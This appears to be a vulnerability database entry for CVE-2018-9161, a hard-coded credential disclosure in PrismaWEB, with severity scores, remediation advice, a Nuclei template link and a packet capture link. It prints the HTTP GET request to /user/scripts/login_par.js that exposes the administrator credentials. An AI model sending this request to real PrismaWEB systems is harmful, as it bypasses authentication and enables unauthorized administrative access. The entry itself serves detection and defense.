🔙 목록으로 돌아가기

CVE-2018-9161: PrismaWEB - Credentials Disclosure

TitlePrismaWEB - Credentials Disclosure
Authorgy741
SeverityCritical
ImpactAn attacker could gain unauthorized access to the application and potentially compromise user accounts and sensitive data.
RemediationEnsure that sensitive credentials are properly protected and not exposed in the application's source code or configuration files.
CVSS Score9.8
EPSS Score0.63057
CVE IDCVE-2018-9161
CWE IDCWE-798
Tags cve2018 cve prismaweb exposure edb prismaindustriale vuln

🔍 Vulnerability Description

PrismaWEB is susceptible to credential disclosure. The vulnerability exists due to the disclosure of hard-coded credentials allowing an attacker to effectively bypass authentication of PrismaWEB with administrator privileges. The credentials can be disclosed by simply navigating to the login_par.js JavaScript page that holds the username and password for the management interface that are being used via the Login() function in /scripts/functions_cookie.js script.

🌐 HTTP Request

GET /user/scripts/login_par.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-9161.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-9161.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A